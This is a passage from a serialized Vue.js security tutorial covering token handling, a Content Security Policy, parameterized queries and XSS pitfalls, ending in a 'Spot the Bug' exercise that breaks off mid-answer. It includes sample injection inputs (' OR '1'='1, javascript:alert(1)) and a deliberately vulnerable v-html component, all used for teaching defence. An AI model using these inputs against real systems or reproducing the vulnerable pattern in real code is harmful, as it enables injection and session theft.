cookie\n",[34,1319,1321],{"class":36,"line":1320},31,[34,1322,1221],{"class":40},[34,1324,1326],{"class":36,"line":1325},32,[34,1327,89],{"emptyLinePlaceholder":88},[34,1329,1331,1334,1337,1340],{"class":36,"line":1330},33,[34,1332,1333],{"class":58},"    if",[34,1335,1336],{"class":40}," (",[34,1338,1339],{"class":58},"!",[34,1341,1342],{"class":40},"res.ok) {\n",[34,1344,1346,1349,1351,1353],{"class":36,"line":1345},34,[34,1347,1348],{"class":40},"      accessToken.value ",[34,1350,237],{"class":58},[34,1352,1083],{"class":98},[34,1354,1355],{"class":189},"  \u002F\u002F refresh failed — must re-login\n",[34,1357,1359,1362,1365,1368,1370,1373],{"class":36,"line":1358},35,[34,1360,1361],{"class":58},"      throw",[34,1363,1364],{"class":58}," new",[34,1366,1367],{"class":48}," Error",[34,1369,108],{"class":40},[34,1371,1372],{"class":68},"'Session expired'",[34,1374,120],{"class":40},[34,1376,1378],{"class":36,"line":1377},36,[34,1379,1380],{"class":40},"    }\n",[34,1382,1384],{"class":36,"line":1383},37,[34,1385,89],{"emptyLinePlaceholder":88},[34,1387,1389,1391,1393,1395,1397,1399,1401],{"class":36,"line":1388},38,[34,1390,1156],{"class":58},[34,1392,1232],{"class":98},[34,1394,102],{"class":58},[34,1396,1164],{"class":58},[34,1398,1239],{"class":40},[34,1400,1242],{"class":48},[34,1402,1245],{"class":40},[34,1404,1406,1408,1410],{"class":36,"line":1405},39,[34,1407,1250],{"class":40},[34,1409,237],{"class":58},[34,1411,1412],{"class":40}," data.accessToken\n",[34,1414,1416],{"class":36,"line":1415},40,[34,1417,908],{"class":40},[34,1419,1421],{"class":36,"line":1420},41,[34,1422,89],{"emptyLinePlaceholder":88},[34,1424,1426,1429,1432],{"class":36,"line":1425},42,[34,1427,1428],{"class":58},"  function",[34,1430,1431],{"class":48}," logout",[34,1433,1055],{"class":40},[34,1435,1437,1439,1441],{"class":36,"line":1436},43,[34,1438,1250],{"class":40},[34,1440,237],{"class":58},[34,1442,1443],{"class":98}," null\n",[34,1445,1447],{"class":36,"line":1446},44,[34,1448,1449],{"class":189},"    \u002F\u002F Server endpoint clears the httpOnly cookie (can't clear it from JS).\n",[34,1451,1453,1456,1458,1461,1464,1466,1469,1471],{"class":36,"line":1452},45,[34,1454,1455],{"class":48},"    fetch",[34,1457,108],{"class":40},[34,1459,1460],{"class":68},"'\u002Fapi\u002Fauth\u002Flogout'",[34,1462,1463],{"class":40},", { method: ",[34,1465,1183],{"class":68},[34,1467,1468],{"class":40},", credentials: ",[34,1470,1210],{"class":68},[34,1472,1473],{"class":40}," })\n",[34,1475,1477],{"class":36,"line":1476},46,[34,1478,908],{"class":40},[34,1480,1482],{"class":36,"line":1481},47,[34,1483,89],{"emptyLinePlaceholder":88},[34,1485,1487,1490],{"class":36,"line":1486},48,[34,1488,1489],{"class":58},"  return",[34,1491,830],{"class":40},[34,1493,1495,1498,1501,1504],{"class":36,"line":1494},49,[34,1496,1497],{"class":40},"    accessToken: ",[34,1499,1500],{"class":48},"readonly",[34,1502,1503],{"class":40},"(accessToken),  ",[34,1505,1506],{"class":189},"\u002F\u002F read-only — no external mutation\n",[34,1508,1510],{"class":36,"line":1509},50,[34,1511,1512],{"class":40},"    login,\n",[34,1514,1516],{"class":36,"line":1515},51,[34,1517,1518],{"class":40},"    refresh,\n",[34,1520,1522],{"class":36,"line":1521},52,[34,1523,1524],{"class":40},"    logout,\n",[34,1526,1528],{"class":36,"line":1527},53,[34,1529,908],{"class":40},[34,1531,1533],{"class":36,"line":1532},54,[34,1534,1535],{"class":40},"}\n",[15,1537,1539],{"id":1538},"content-security-policy-csp","Content Security Policy (CSP)",[20,1541,1543],{"filename":1542,"language":591},"csp-config.ts",[25,1544,1546],{"className":594,"code":1545,"language":591,"meta":29,"style":29},"\u002F\u002F ── CSP header: restricts where resources can load from ──\n\u002F\u002F Prevents XSS even if v-html is compromised — scripts can't execute\n\u002F\u002F unless their source is in the CSP allowlist.\n\n\u002F\u002F ── Express (or any backend): set CSP header ──\nconst cspHeader = [\n  \"default-src 'self'\",                    \u002F\u002F everything from same origin only\n  \"script-src 'self'\",                     \u002F\u002F scripts from same origin only (no inline)\n  \u002F\u002F For Vue: avoid inline scripts. Vite bundles all JS into external files.\n  \u002F\u002F If using eval (rare): add 'unsafe-eval' (NOT recommended for production).\n\n  \"style-src 'self' 'unsafe-inline'\",     \u002F\u002F styles: same origin + inline (scoped CSS)\n  \u002F\u002F Vue scoped CSS uses inline \u003Cstyle> → 'unsafe-inline' required for styles.\n\n  \"img-src 'self' data: https:\",          \u002F\u002F images: same origin, data URIs, HTTPS\n  \"font-src 'self' https:\u002F\u002Ffonts.gstatic.com\",  \u002F\u002F fonts from Google Fonts\n  \"connect-src 'self' https:\u002F\u002Fapi.example.com\",  \u002F\u002F XHR\u002Ffetch to API only\n  \"frame-ancestors 'none'\",               \u002F\u002F prevent clickjacking (no iframes)\n  \"base-uri 'self'\",                      \u002F\u002F prevent \u003Cbase> injection\n  \"form-action 'self'\",                   \u002F\u002F forms submit to same origin only\n].join('; ')\n\n\u002F\u002F ── Vite: inject nonce for inline scripts (if needed) ──\n\u002F\u002F vite.config.ts:\n\u002F\u002F build: {\n\u002F\u002F   rollupOptions: {\n\u002F\u002F     output: {\n\u002F\u002F       \u002F\u002F Vite's module preload polyfill uses inline scripts → need nonce\n\u002F\u002F     }\n\u002F\u002F   }\n\u002F\u002F }\n",[31,1547,1548,1553,1558,1563,1567,1572,1584,1595,1606,1611,1616,1620,1631,1636,1640,1651,1661,1671,1682,1693,1704,1719,1723,1728,1733,1738,1743,1748,1756,1761,1766],{"__ignoreMap":29},[34,1549,1550],{"class":36,"line":37},[34,1551,1552],{"class":189},"\u002F\u002F ── CSP header: restricts where resources can load from ──\n",[34,1554,1555],{"class":36,"line":55},[34,1556,1557],{"class":189},"\u002F\u002F Prevents XSS even if v-html is compromised — scripts can't execute\n",[34,1559,1560],{"class":36,"line":72},[34,1561,1562],{"class":189},"\u002F\u002F unless their source is in the CSP allowlist.\n",[34,1564,1565],{"class":36,"line":85},[34,1566,89],{"emptyLinePlaceholder":88},[34,1568,1569],{"class":36,"line":92},[34,1570,1571],{"class":189},"\u002F\u002F ── Express (or any backend): set CSP header ──\n",[34,1573,1574,1576,1579,1581],{"class":36,"line":123},[34,1575,95],{"class":58},[34,1577,1578],{"class":98}," cspHeader",[34,1580,102],{"class":58},[34,1582,1583],{"class":40}," [\n",[34,1585,1586,1589,1592],{"class":36,"line":142},[34,1587,1588],{"class":68},"  \"default-src 'self'\"",[34,1590,1591],{"class":40},",                    ",[34,1593,1594],{"class":189},"\u002F\u002F everything from same origin only\n",[34,1596,1597,1600,1603],{"class":36,"line":161},[34,1598,1599],{"class":68},"  \"script-src 'self'\"",[34,1601,1602],{"class":40},",                     ",[34,1604,1605],{"class":189},"\u002F\u002F scripts from same origin only (no inline)\n",[34,1607,1608],{"class":36,"line":171},[34,1609,1610],{"class":189},"  \u002F\u002F For Vue: avoid inline scripts. Vite bundles all JS into external files.\n",[34,1612,1613],{"class":36,"line":176},[34,1614,1615],{"class":189},"  \u002F\u002F If using eval (rare): add 'unsafe-eval' (NOT recommended for production).\n",[34,1617,1618],{"class":36,"line":186},[34,1619,89],{"emptyLinePlaceholder":88},[34,1621,1622,1625,1628],{"class":36,"line":193},[34,1623,1624],{"class":68},"  \"style-src 'self' 'unsafe-inline'\"",[34,1626,1627],{"class":40},",     ",[34,1629,1630],{"class":189},"\u002F\u002F styles: same origin + inline (scoped CSS)\n",[34,1632,1633],{"class":36,"line":199},[34,1634,1635],{"class":189},"  \u002F\u002F Vue scoped CSS uses inline \u003Cstyle> → 'unsafe-inline' required for styles.\n",[34,1637,1638],{"class":36,"line":215},[34,1639,89],{"emptyLinePlaceholder":88},[34,1641,1642,1645,1648],{"class":36,"line":220},[34,1643,1644],{"class":68},"  \"img-src 'self' data: https:\"",[34,1646,1647],{"class":40},",          ",[34,1649,1650],{"class":189},"\u002F\u002F images: same origin, data URIs, HTTPS\n",[34,1652,1653,1656,1658],{"class":36,"line":226},[34,1654,1655],{"class":68},"  \"font-src 'self' https:\u002F\u002Ffonts.gstatic.com\"",[34,1657,1213],{"class":40},[34,1659,1660],{"class":189},"\u002F\u002F fonts from Google Fonts\n",[34,1662,1663,1666,1668],{"class":36,"line":249},[34,1664,1665],{"class":68},"  \"connect-src 'self' https:\u002F\u002Fapi.example.com\"",[34,1667,1213],{"class":40},[34,1669,1670],{"class":189},"\u002F\u002F XHR\u002Ffetch to API only\n",[34,1672,1673,1676,1679],{"class":36,"line":254},[34,1674,1675],{"class":68},"  \"frame-ancestors 'none'\"",[34,1677,1678],{"class":40},",               ",[34,1680,1681],{"class":189},"\u002F\u002F prevent clickjacking (no iframes)\n",[34,1683,1684,1687,1690],{"class":36,"line":260},[34,1685,1686],{"class":68},"  \"base-uri 'self'\"",[34,1688,1689],{"class":40},",                      ",[34,1691,1692],{"class":189},"\u002F\u002F prevent \u003Cbase> injection\n",[34,1694,1695,1698,1701],{"class":36,"line":266},[34,1696,1697],{"class":68},"  \"form-action 'self'\"",[34,1699,1700],{"class":40},",                   ",[34,1702,1703],{"class":189},"\u002F\u002F forms submit to same origin only\n",[34,1705,1706,1709,1712,1714,1717],{"class":36,"line":272},[34,1707,1708],{"class":40},"].",[34,1710,1711],{"class":48},"join",[34,1713,108],{"class":40},[34,1715,1716],{"class":68},"'; '",[34,1718,120],{"class":40},[34,1720,1721],{"class":36,"line":277},[34,1722,89],{"emptyLinePlaceholder":88},[34,1724,1725],{"class":36,"line":283},[34,1726,1727],{"class":189},"\u002F\u002F ── Vite: inject nonce for inline scripts (if needed) ──\n",[34,1729,1730],{"class":36,"line":304},[34,1731,1732],{"class":189},"\u002F\u002F vite.config.ts:\n",[34,1734,1735],{"class":36,"line":310},[34,1736,1737],{"class":189},"\u002F\u002F build: {\n",[34,1739,1740],{"class":36,"line":316},[34,1741,1742],{"class":189},"\u002F\u002F   rollupOptions: {\n",[34,1744,1745],{"class":36,"line":944},[34,1746,1747],{"class":189},"\u002F\u002F     output: {\n",[34,1749,1750,1753],{"class":36,"line":959},[34,1751,1752],{"class":189},"\u002F\u002F",[34,1754,1755],{"class":189},"       \u002F\u002F Vite's module preload polyfill uses inline scripts → need nonce\n",[34,1757,1758],{"class":36,"line":977},[34,1759,1760],{"class":189},"\u002F\u002F     }\n",[34,1762,1763],{"class":36,"line":982},[34,1764,1765],{"class":189},"\u002F\u002F   }\n",[34,1767,1768],{"class":36,"line":1320},[34,1769,1770],{"class":189},"\u002F\u002F }\n",[15,1772,1774],{"id":1773},"sql-injection-api-boundary","SQL Injection — API Boundary",[20,1776,1778],{"filename":1777,"language":591},"api-security.ts",[25,1779,1781],{"className":594,"code":1780,"language":591,"meta":29,"style":29},"\u002F\u002F ── Vue itself doesn't talk to the database — but your API does ──\n\u002F\u002F Security boundary: validate ALL input on the server, never trust client state.\n\n\u002F\u002F ── Anti-pattern: building SQL from user input ──\n\u002F\u002F ❌ const query = `SELECT * FROM users WHERE name = '${userName.value}'`\n\u002F\u002F User types: ' OR '1'='1 → returns all users (SQL injection)\n\n\u002F\u002F ── Correct: parameterized queries ──\n\u002F\u002F Server (example with better-sqlite3):\n\u002F\u002F const stmt = db.prepare('SELECT * FROM users WHERE name = ?')\n\u002F\u002F const result = stmt.get(userName)  \u002F\u002F parameterized — injection-safe\n\n\u002F\u002F ── Vue-side: send data, don't build queries ──\nasync function searchUsers(name: string) {\n  const res = await fetch('\u002Fapi\u002Fusers\u002Fsearch', {\n    method: 'POST',\n    body: JSON.stringify({ name }),  \u002F\u002F server validates + parameterizes\n  })\n  return res.json()\n}\n\n\u002F\u002F ── Validate on client (UX) AND server (security) ──\n\u002F\u002F Client validation: fast feedback, reduces server load.\n\u002F\u002F Server validation: security boundary — never trust client-side validation alone.\nfunction validateEmail(email: string): boolean {\n  return \u002F^[^\\s@]+@[^\\s@]+\\.[^\\s@]+$\u002F.test(email)\n}\n",[31,1782,1783,1788,1793,1797,1802,1807,1812,1816,1821,1826,1831,1839,1843,1848,1869,1888,1897,1914,1919,1929,1933,1937,1942,1947,1952,1978,2031],{"__ignoreMap":29},[34,1784,1785],{"class":36,"line":37},[34,1786,1787],{"class":189},"\u002F\u002F ── Vue itself doesn't talk to the database — but your API does ──\n",[34,1789,1790],{"class":36,"line":55},[34,1791,1792],{"class":189},"\u002F\u002F Security boundary: validate ALL input on the server, never trust client state.\n",[34,1794,1795],{"class":36,"line":72},[34,1796,89],{"emptyLinePlaceholder":88},[34,1798,1799],{"class":36,"line":85},[34,1800,1801],{"class":189},"\u002F\u002F ── Anti-pattern: building SQL from user input ──\n",[34,1803,1804],{"class":36,"line":92},[34,1805,1806],{"class":189},"\u002F\u002F ❌ const query = `SELECT * FROM users WHERE name = '${userName.value}'`\n",[34,1808,1809],{"class":36,"line":123},[34,1810,1811],{"class":189},"\u002F\u002F User types: ' OR '1'='1 → returns all users (SQL injection)\n",[34,1813,1814],{"class":36,"line":142},[34,1815,89],{"emptyLinePlaceholder":88},[34,1817,1818],{"class":36,"line":161},[34,1819,1820],{"class":189},"\u002F\u002F ── Correct: parameterized queries ──\n",[34,1822,1823],{"class":36,"line":171},[34,1824,1825],{"class":189},"\u002F\u002F Server (example with better-sqlite3):\n",[34,1827,1828],{"class":36,"line":176},[34,1829,1830],{"class":189},"\u002F\u002F const stmt = db.prepare('SELECT * FROM users WHERE name = ?')\n",[34,1832,1833,1836],{"class":36,"line":186},[34,1834,1835],{"class":189},"\u002F\u002F const result = stmt.get(userName)",[34,1837,1838],{"class":189},"  \u002F\u002F parameterized — injection-safe\n",[34,1840,1841],{"class":36,"line":193},[34,1842,89],{"emptyLinePlaceholder":88},[34,1844,1845],{"class":36,"line":199},[34,1846,1847],{"class":189},"\u002F\u002F ── Vue-side: send data, don't build queries ──\n",[34,1849,1850,1853,1855,1858,1860,1863,1865,1867],{"class":36,"line":215},[34,1851,1852],{"class":58},"async",[34,1854,1049],{"class":58},[34,1856,1857],{"class":48}," searchUsers",[34,1859,108],{"class":40},[34,1861,1862],{"class":821},"name",[34,1864,1127],{"class":58},[34,1866,1138],{"class":98},[34,1868,956],{"class":40},[34,1870,1871,1873,1875,1877,1879,1881,1883,1886],{"class":36,"line":220},[34,1872,1065],{"class":58},[34,1874,1159],{"class":98},[34,1876,102],{"class":58},[34,1878,1164],{"class":58},[34,1880,1167],{"class":48},[34,1882,108],{"class":40},[34,1884,1885],{"class":68},"'\u002Fapi\u002Fusers\u002Fsearch'",[34,1887,1175],{"class":40},[34,1889,1890,1893,1895],{"class":36,"line":226},[34,1891,1892],{"class":40},"    method: ",[34,1894,1183],{"class":68},[34,1896,750],{"class":40},[34,1898,1899,1902,1904,1906,1908,1911],{"class":36,"line":249},[34,1900,1901],{"class":40},"    body: ",[34,1903,1193],{"class":98},[34,1905,1196],{"class":40},[34,1907,1199],{"class":48},[34,1909,1910],{"class":40},"({ name }),  ",[34,1912,1913],{"class":189},"\u002F\u002F server validates + parameterizes\n",[34,1915,1916],{"class":36,"line":254},[34,1917,1918],{"class":40},"  })\n",[34,1920,1921,1923,1925,1927],{"class":36,"line":260},[34,1922,1489],{"class":58},[34,1924,1239],{"class":40},[34,1926,1242],{"class":48},[34,1928,1245],{"class":40},[34,1930,1931],{"class":36,"line":266},[34,1932,1535],{"class":40},[34,1934,1935],{"class":36,"line":272},[34,1936,89],{"emptyLinePlaceholder":88},[34,1938,1939],{"class":36,"line":277},[34,1940,1941],{"class":189},"\u002F\u002F ── Validate on client (UX) AND server (security) ──\n",[34,1943,1944],{"class":36,"line":283},[34,1945,1946],{"class":189},"\u002F\u002F Client validation: fast feedback, reduces server load.\n",[34,1948,1949],{"class":36,"line":304},[34,1950,1951],{"class":189},"\u002F\u002F Server validation: security boundary — never trust client-side validation alone.\n",[34,1953,1954,1957,1960,1962,1964,1966,1968,1971,1973,1976],{"class":36,"line":310},[34,1955,1956],{"class":58},"function",[34,1958,1959],{"class":48}," validateEmail",[34,1961,108],{"class":40},[34,1963,1133],{"class":821},[34,1965,1127],{"class":58},[34,1967,1138],{"class":98},[34,1969,1970],{"class":40},")",[34,1972,1127],{"class":58},[34,1974,1975],{"class":98}," boolean",[34,1977,830],{"class":40},[34,1979,1980,1982,1984,1986,1989,1991,1994,1997,2000,2002,2004,2006,2008,2012,2014,2016,2018,2021,2023,2025,2028],{"class":36,"line":316},[34,1981,1489],{"class":58},[34,1983,299],{"class":68},[34,1985,771],{"class":58},[34,1987,1988],{"class":98},"[",[34,1990,771],{"class":58},[34,1992,1993],{"class":98},"\\s@]",[34,1995,1996],{"class":58},"+",[34,1998,1999],{"class":774},"@",[34,2001,1988],{"class":98},[34,2003,771],{"class":58},[34,2005,1993],{"class":98},[34,2007,1996],{"class":58},[34,2009,2011],{"class":2010},"snRuI","\\.",[34,2013,1988],{"class":98},[34,2015,771],{"class":58},[34,2017,1993],{"class":98},[34,2019,2020],{"class":58},"+$",[34,2022,768],{"class":68},[34,2024,1196],{"class":40},[34,2026,2027],{"class":48},"test",[34,2029,2030],{"class":40},"(email)\n",[34,2032,2033],{"class":36,"line":944},[34,2034,1535],{"class":40},[15,2036,2038],{"id":2037},"tips-tricks","💡 Tips & Tricks",[20,2040,2042],{"filename":2041,"language":591},"tips.ts",[25,2043,2045],{"className":594,"code":2044,"language":591,"meta":29,"style":29},"\u002F\u002F ── 1. {{ }} and v-bind escape by default — you're safe by default ──\n\u002F\u002F Only v-html opts out. Audit every v-html usage in your codebase.\n\n\u002F\u002F ── 2. Sanitize markdown before rendering ──\nimport DOMPurify from 'dompurify'\nimport { marked } from 'marked'\nconst safeHtml = DOMPurify.sanitize(marked.parse(userMarkdown))\n\u002F\u002F marked converts markdown → HTML, DOMPurify strips any XSS in the HTML.\n\n\u002F\u002F ── 3. Use rel=\"noopener noreferrer\" on target=\"_blank\" links ──\n\u002F\u002F \u003Ca href=\"...\" target=\"_blank\" rel=\"noopener noreferrer\">\n\u002F\u002F Prevents the new tab from accessing window.opener (reverse tabnabbing).\n\n\u002F\u002F ── 4. SameSite cookie attribute for CSRF prevention ──\n\u002F\u002F Set-Cookie: token=...; SameSite=Strict; Secure; HttpOnly\n\u002F\u002F SameSite=Strict: cookie not sent on cross-site requests (CSRF-safe).\n\n\u002F\u002F ── 5. Don't store secrets in .env without VITE_ prefix ──\n\u002F\u002F Non-VITE_ vars stay server-side. VITE_ vars are in the bundle (public).\n\u002F\u002F Never put API secrets in VITE_ variables — they're in client JS.\n",[31,2046,2047,2052,2057,2061,2066,2076,2088,2109,2114,2118,2123,2128,2133,2137,2142,2147,2152,2156,2161,2166],{"__ignoreMap":29},[34,2048,2049],{"class":36,"line":37},[34,2050,2051],{"class":189},"\u002F\u002F ── 1. {{ }} and v-bind escape by default — you're safe by default ──\n",[34,2053,2054],{"class":36,"line":55},[34,2055,2056],{"class":189},"\u002F\u002F Only v-html opts out. Audit every v-html usage in your codebase.\n",[34,2058,2059],{"class":36,"line":72},[34,2060,89],{"emptyLinePlaceholder":88},[34,2062,2063],{"class":36,"line":85},[34,2064,2065],{"class":189},"\u002F\u002F ── 2. Sanitize markdown before rendering ──\n",[34,2067,2068,2070,2072,2074],{"class":36,"line":92},[34,2069,59],{"class":58},[34,2071,77],{"class":40},[34,2073,65],{"class":58},[34,2075,82],{"class":68},[34,2077,2078,2080,2083,2085],{"class":36,"line":123},[34,2079,59],{"class":58},[34,2081,2082],{"class":40}," { marked } ",[34,2084,65],{"class":58},[34,2086,2087],{"class":68}," 'marked'\n",[34,2089,2090,2092,2094,2096,2098,2100,2103,2106],{"class":36,"line":142},[34,2091,95],{"class":58},[34,2093,513],{"class":98},[34,2095,102],{"class":58},[34,2097,527],{"class":40},[34,2099,530],{"class":48},[34,2101,2102],{"class":40},"(marked.",[34,2104,2105],{"class":48},"parse",[34,2107,2108],{"class":40},"(userMarkdown))\n",[34,2110,2111],{"class":36,"line":161},[34,2112,2113],{"class":189},"\u002F\u002F marked converts markdown → HTML, DOMPurify strips any XSS in the HTML.\n",[34,2115,2116],{"class":36,"line":171},[34,2117,89],{"emptyLinePlaceholder":88},[34,2119,2120],{"class":36,"line":176},[34,2121,2122],{"class":189},"\u002F\u002F ── 3. Use rel=\"noopener noreferrer\" on target=\"_blank\" links ──\n",[34,2124,2125],{"class":36,"line":186},[34,2126,2127],{"class":189},"\u002F\u002F \u003Ca href=\"...\" target=\"_blank\" rel=\"noopener noreferrer\">\n",[34,2129,2130],{"class":36,"line":193},[34,2131,2132],{"class":189},"\u002F\u002F Prevents the new tab from accessing window.opener (reverse tabnabbing).\n",[34,2134,2135],{"class":36,"line":199},[34,2136,89],{"emptyLinePlaceholder":88},[34,2138,2139],{"class":36,"line":215},[34,2140,2141],{"class":189},"\u002F\u002F ── 4. SameSite cookie attribute for CSRF prevention ──\n",[34,2143,2144],{"class":36,"line":220},[34,2145,2146],{"class":189},"\u002F\u002F Set-Cookie: token=...; SameSite=Strict; Secure; HttpOnly\n",[34,2148,2149],{"class":36,"line":226},[34,2150,2151],{"class":189},"\u002F\u002F SameSite=Strict: cookie not sent on cross-site requests (CSRF-safe).\n",[34,2153,2154],{"class":36,"line":249},[34,2155,89],{"emptyLinePlaceholder":88},[34,2157,2158],{"class":36,"line":254},[34,2159,2160],{"class":189},"\u002F\u002F ── 5. Don't store secrets in .env without VITE_ prefix ──\n",[34,2162,2163],{"class":36,"line":260},[34,2164,2165],{"class":189},"\u002F\u002F Non-VITE_ vars stay server-side. VITE_ vars are in the bundle (public).\n",[34,2167,2168],{"class":36,"line":266},[34,2169,2170],{"class":189},"\u002F\u002F Never put API secrets in VITE_ variables — they're in client JS.\n",[15,2172,2174],{"id":2173},"️-edge-cases-gotchas","⚠️ Edge Cases & Gotchas",[20,2176,2178],{"filename":2177,"language":591},"edge-cases.ts",[25,2179,2181],{"className":594,"code":2180,"language":591,"meta":29,"style":29},"\u002F\u002F ── 1. v-html with computed sanitization is NOT reactive-safe ──\n\u002F\u002F If you sanitize once and store the result, later changes to the input\n\u002F\u002F don't re-sanitize. Use a computed that sanitizes on every change.\n\n\u002F\u002F ── 2. DOMPurify doesn't sanitize CSS ──\n\u002F\u002F \u003Cstyle> tags and style attributes can contain CSS-based attacks\n\u002F\u002F (expression(), url(javascript:...)). DOMPurify strips \u003Cstyle> by default.\n\n\u002F\u002F ── 3. localStorage is readable by any script on the page ──\n\u002F\u002F If XSS succeeds, the attacker reads localStorage.getItem('token').\n\u002F\u002F Use httpOnly cookies for sensitive tokens, not localStorage.\n\n\u002F\u002F ── 4. Template expressions are sandboxed — limited globals ──\n\u002F\u002F {{ window.location }} → undefined. Only safe globals (Math, Date, etc.)\n\u002F\u002F This prevents some XSS via template injection, but doesn't replace v-html care.\n\n\u002F\u002F ── 5. CSP 'unsafe-inline' for styles is required for Vue scoped CSS ──\n\u002F\u002F Vue injects \u003Cstyle> tags at runtime in dev mode → CSP needs 'unsafe-inline' for styles.\n\u002F\u002F In production (build mode): styles are external files → can remove 'unsafe-inline'.\n\n\u002F\u002F ── 6. href=\"javascript:...\" in user-provided links ──\n\u002F\u002F \u003Ca :href=\"userUrl\"> — if userUrl is \"javascript:alert(1)\", clicking runs the script.\n\u002F\u002F Validate: if (!userUrl.startsWith('http')) userUrl = '#'  \u002F\u002F force safe protocol\n",[31,2182,2183,2188,2193,2198,2202,2207,2212,2217,2221,2226,2231,2236,2240,2245,2250,2255,2259,2264,2269,2274,2278,2283,2288],{"__ignoreMap":29},[34,2184,2185],{"class":36,"line":37},[34,2186,2187],{"class":189},"\u002F\u002F ── 1. v-html with computed sanitization is NOT reactive-safe ──\n",[34,2189,2190],{"class":36,"line":55},[34,2191,2192],{"class":189},"\u002F\u002F If you sanitize once and store the result, later changes to the input\n",[34,2194,2195],{"class":36,"line":72},[34,2196,2197],{"class":189},"\u002F\u002F don't re-sanitize. Use a computed that sanitizes on every change.\n",[34,2199,2200],{"class":36,"line":85},[34,2201,89],{"emptyLinePlaceholder":88},[34,2203,2204],{"class":36,"line":92},[34,2205,2206],{"class":189},"\u002F\u002F ── 2. DOMPurify doesn't sanitize CSS ──\n",[34,2208,2209],{"class":36,"line":123},[34,2210,2211],{"class":189},"\u002F\u002F \u003Cstyle> tags and style attributes can contain CSS-based attacks\n",[34,2213,2214],{"class":36,"line":142},[34,2215,2216],{"class":189},"\u002F\u002F (expression(), url(javascript:...)). DOMPurify strips \u003Cstyle> by default.\n",[34,2218,2219],{"class":36,"line":161},[34,2220,89],{"emptyLinePlaceholder":88},[34,2222,2223],{"class":36,"line":171},[34,2224,2225],{"class":189},"\u002F\u002F ── 3. localStorage is readable by any script on the page ──\n",[34,2227,2228],{"class":36,"line":176},[34,2229,2230],{"class":189},"\u002F\u002F If XSS succeeds, the attacker reads localStorage.getItem('token').\n",[34,2232,2233],{"class":36,"line":186},[34,2234,2235],{"class":189},"\u002F\u002F Use httpOnly cookies for sensitive tokens, not localStorage.\n",[34,2237,2238],{"class":36,"line":193},[34,2239,89],{"emptyLinePlaceholder":88},[34,2241,2242],{"class":36,"line":199},[34,2243,2244],{"class":189},"\u002F\u002F ── 4. Template expressions are sandboxed — limited globals ──\n",[34,2246,2247],{"class":36,"line":215},[34,2248,2249],{"class":189},"\u002F\u002F {{ window.location }} → undefined. Only safe globals (Math, Date, etc.)\n",[34,2251,2252],{"class":36,"line":220},[34,2253,2254],{"class":189},"\u002F\u002F This prevents some XSS via template injection, but doesn't replace v-html care.\n",[34,2256,2257],{"class":36,"line":226},[34,2258,89],{"emptyLinePlaceholder":88},[34,2260,2261],{"class":36,"line":249},[34,2262,2263],{"class":189},"\u002F\u002F ── 5. CSP 'unsafe-inline' for styles is required for Vue scoped CSS ──\n",[34,2265,2266],{"class":36,"line":254},[34,2267,2268],{"class":189},"\u002F\u002F Vue injects \u003Cstyle> tags at runtime in dev mode → CSP needs 'unsafe-inline' for styles.\n",[34,2270,2271],{"class":36,"line":260},[34,2272,2273],{"class":189},"\u002F\u002F In production (build mode): styles are external files → can remove 'unsafe-inline'.\n",[34,2275,2276],{"class":36,"line":266},[34,2277,89],{"emptyLinePlaceholder":88},[34,2279,2280],{"class":36,"line":272},[34,2281,2282],{"class":189},"\u002F\u002F ── 6. href=\"javascript:...\" in user-provided links ──\n",[34,2284,2285],{"class":36,"line":277},[34,2286,2287],{"class":189},"\u002F\u002F \u003Ca :href=\"userUrl\"> — if userUrl is \"javascript:alert(1)\", clicking runs the script.\n",[34,2289,2290,2293],{"class":36,"line":283},[34,2291,2292],{"class":189},"\u002F\u002F Validate: if (!userUrl.startsWith('http')) userUrl = '#'",[34,2294,2295],{"class":189},"  \u002F\u002F force safe protocol\n",[15,2297,2299],{"id":2298},"spot-the-bug","🧠 Spot the Bug",[205,2301,2302,2303,2306],{},"A comment section renders user input via ",[31,2304,2305],{},"v-html"," and a user injects a cookie-stealing script.",[20,2308,2310],{"filename":2309,"language":23},"SecurityBug.vue",[25,2311,2313],{"className":27,"code":2312,"language":23,"meta":29,"style":29},"\u003Cscript setup>\nimport { ref } from 'vue'\nconst comment = ref('')\n\u003C\u002Fscript>\n\n\u003Ctemplate>\n  \u003Cinput v-model=\"comment\" placeholder=\"Write a comment\" \u002F>\n  \u003C!-- ❌ v-html on raw user input — XSS vulnerability -->\n  \u003Cdiv v-html=\"comment\" \u002F>\n\u003C\u002Ftemplate>\n",[31,2314,2315,2325,2335,2351,2359,2363,2371,2396,2401,2417],{"__ignoreMap":29},[34,2316,2317,2319,2321,2323],{"class":36,"line":37},[34,2318,41],{"class":40},[34,2320,45],{"class":44},[34,2322,49],{"class":48},[34,2324,52],{"class":40},[34,2326,2327,2329,2331,2333],{"class":36,"line":55},[34,2328,59],{"class":58},[34,2330,352],{"class":40},[34,2332,65],{"class":58},[34,2334,69],{"class":68},[34,2336,2337,2339,2341,2343,2345,2347,2349],{"class":36,"line":72},[34,2338,95],{"class":58},[34,2340,363],{"class":98},[34,2342,102],{"class":58},[34,2344,105],{"class":48},[34,2346,108],{"class":40},[34,2348,372],{"class":68},[34,2350,120],{"class":40},[34,2352,2353,2355,2357],{"class":36,"line":85},[34,2354,164],{"class":40},[34,2356,45],{"class":44},[34,2358,52],{"class":40},[34,2360,2361],{"class":36,"line":92},[34,2362,89],{"emptyLinePlaceholder":88},[34,2364,2365,2367,2369],{"class":36,"line":123},[34,2366,41],{"class":40},[34,2368,181],{"class":44},[34,2370,52],{"class":40},[34,2372,2373,2375,2378,2381,2383,2385,2388,2390,2393],{"class":36,"line":142},[34,2374,202],{"class":40},[34,2376,2377],{"class":44},"input",[34,2379,2380],{"class":48}," v-model",[34,2382,237],{"class":40},[34,2384,417],{"class":68},[34,2386,2387],{"class":48}," placeholder",[34,2389,237],{"class":40},[34,2391,2392],{"class":68},"\"Write a comment\"",[34,2394,2395],{"class":40}," \u002F>\n",[34,2397,2398],{"class":36,"line":161},[34,2399,2400],{"class":189},"  \u003C!-- ❌ v-html on raw user input — XSS vulnerability -->\n",[34,2402,2403,2405,2407,2409,2411,2413,2415],{"class":36,"line":171},[34,2404,202],{"class":40},[34,2406,410],{"class":44},[34,2408,290],{"class":48},[34,2410,237],{"class":40},[34,2412,417],{"class":68},[34,2414,299],{"class":298},[34,2416,52],{"class":40},[34,2418,2419,2421,2423],{"class":36,"line":176},[34,2420,164],{"class":40},[34,2422,181],{"class":44},[34,2424,52],{"class":40},[2426,2427,2428,2432,2445,2454,2612],"details",{},[2429,2430,2431],"summary",{},"Answer",[205,2433,2434,2436,2437,2440,2441,2444],{},[31,2435,2305],{}," injects the user's input as raw HTML. A malicious user can type 